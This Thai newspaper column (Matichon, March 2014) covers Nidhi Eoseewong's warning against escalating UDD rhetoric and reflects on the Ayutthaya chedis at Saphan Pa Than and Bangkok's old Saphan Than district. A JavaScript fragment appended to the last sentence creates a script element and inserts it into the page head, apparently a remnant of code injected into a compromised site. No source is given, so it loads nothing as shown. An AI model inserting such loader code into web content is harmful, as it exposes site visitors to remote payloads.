Download PDF

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 14 มีนาคม 2557

 

หมดเวลาปราศรัยเอามันสะใจ

          “ตาต่อตา ฟันต่อฟัน ย่อมทำให้ทุกคนตาบอดหมด (รวมทั้งฟันหลอหมดด้วย)”

          อ. นิธิ เอียวศรีวงศ์ เตือนไว้ในบทความเรื่องยุทธวิธีใหม่ของ นปช. (มติชน ฉบับวันจันทร์ที่ 10 มีนาคม 2557 หน้า 20) แล้วเตือนอีกต่อไปว่า

          “อย่าว่าแต่เอา ‘ตาต่อตา ฟันต่อฟัน’ เป็นนโยบายในการตอบโต้กับผู้บ่อนทำลายประชาธิปไตยเลย แม้แต่ยกขึ้นมาเพื่อข่มขู่ ก็ไม่ควรทำแล้ว เพราะจะยิ่งทำให้สถานการณ์ความขัดแย้งรุนแรงขึ้น

          แม้ไม่กลัวความรุนแรง แต่การยกระดับการต่อสู้มาให้เสมอเหมือนกับฝ่าย กปปส. ก็เท่ากับชำระล้างการกระทำทั้งหมดของ กปปส. ด้วยความสกปรก จนทุกฝ่ายสกปรกเท่าๆ กัน

          อย่าลืมว่า ในที่ซึ่งไม่มีความสะอาดเหลืออยู่เลย ก็ย่อมไม่มีความสกปรกเช่นกัน

          “วิธีต่อต้านการรัฐประหารที่ได้ผลที่สุด ต้องเป็นวิธีที่ทำให้คนไทยส่วนใหญ่ให้การสนับสนุน และอาจเข้าร่วมได้”

          “แกนนำต้องคิดการจัดองค์กรใหม่ที่จะทำให้ นปช. สามารถเคลื่อนไหวต่อไปได้ แม้ไม่มีแกนนำเด่นๆ ให้เห็นอีกแล้ว ไม่ใช่คิดแต่เพียงแกนนำรุ่นสองรุ่นสาม แต่ต้องคิดถึงการจัดองค์กรใหม่ทั้งหมด ในขณะเดียวกัน จำเป็นต้องคิดถึงโครงสร้างการสื่อสารภายในที่มีประสิทธิภาพ”

          “หมดเวลาสำหรับการปราศรัยเอามันหรือปลุกความฮึกเหิมแล้ว” อ. นิธิ บอกตอนท้าย ซึ่งมีคนจำนวนไม่น้อยเห็นด้วยอย่างยิ่งว่าปราศรัยเอามันสะใจไม่ได้แล้ว ต้องมีสติและปัญญามากกว่านั้น

 

เจดีย์เจ้าอ้ายเจ้ายี่และสะพานป่าถ่าน ที่อยุธยา

          อยุธยา ที่ไม่คุ้นเคย ของ ปวัตร์ นวะมะรัตน อ่านแล้วเพลินดี ทำให้ย้อนคิดอะไรหลายอย่าง

          เจดีย์เจ้าอ้ายเจ้ายี่ ที่อยุธยาอยู่ตรงสะพานป่าถ่าน บริเวณที่พระราชพงศาวดารบอกว่าชนช้างสิ้นพระชนม์ทั้งคู่ เจ้าสามพระยา(เป็นตาอยู่)จึงสร้างเจดีย์ 2 องค์ไว้คู่กันเป็นอนุสรณ์สถาน

          อ่านทีไรต้องสงสัยทุกครั้ง เพราะมีข้อพิรุธหลายอย่างจนชวนให้เข้าใจว่านี่เป็นนิยายแต่งแทรกเข้าไปสมัยหลัง

          เพราะไม่เคยมีประเพณีสร้างเจดีย์คู่กันเป็นอนุสรณ์สถานไว้นอกวัด มีแต่สร้างเจดีย์บรรจุอัฐิไว้ในวัด แล้วทำไมต้องสร้างเจดีย์ขวางหน้า 2 วัด?

          สะพานป่าถ่านยุคอยุธยายังมีร่องรอยซากสะพานก่ออิฐอยู่บริเวณเกาะกลางสี่แยกถนนป่าถ่าน หน้าวัดมหาธาตุกับวัดราชบูรณะ

          ในกรุงเทพฯ ก็มีสะพานถ่านข้ามคลองหลอดวัดราชบพิธ ใกล้เฉลิมกรุง (ดิ โอลด์ สยาม) ทุกวันนี้

          และใกล้สะพานถ่านเป็นถนนอุณากรรณ ย่านร้านขายปืน แล้วเคยมีสำนักงานหนังสือของ อ. นิลวรรณ ปิ่นทอง สตรีสาร, ดรุณสาร, สัปดาห์สาร

          เมื่อยังเรียนมัธยมที่วัดมกุฏฯ ผมเคยไปสมัครขายสมาชิกหนังสือ แล้วได้เปอร์เซ็นต์เล็กๆน้อยๆ กับได้อ่านหนังสือฟรี

          สะพานถ่าน เป็นย่านจอดเรือขายถ่านกับย่านซ่องโสเภณี

          ชื่อสะพานถ่าน ราว 50-60 ปีมาแล้ว เป็นที่รู้ทั่วกันของนักเลงนักเที่ยวว่าหมายถึงซ่องโสเภณีราคาถูกที่สุดของคนรากหญ้าในกรุงเทพฯvar d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);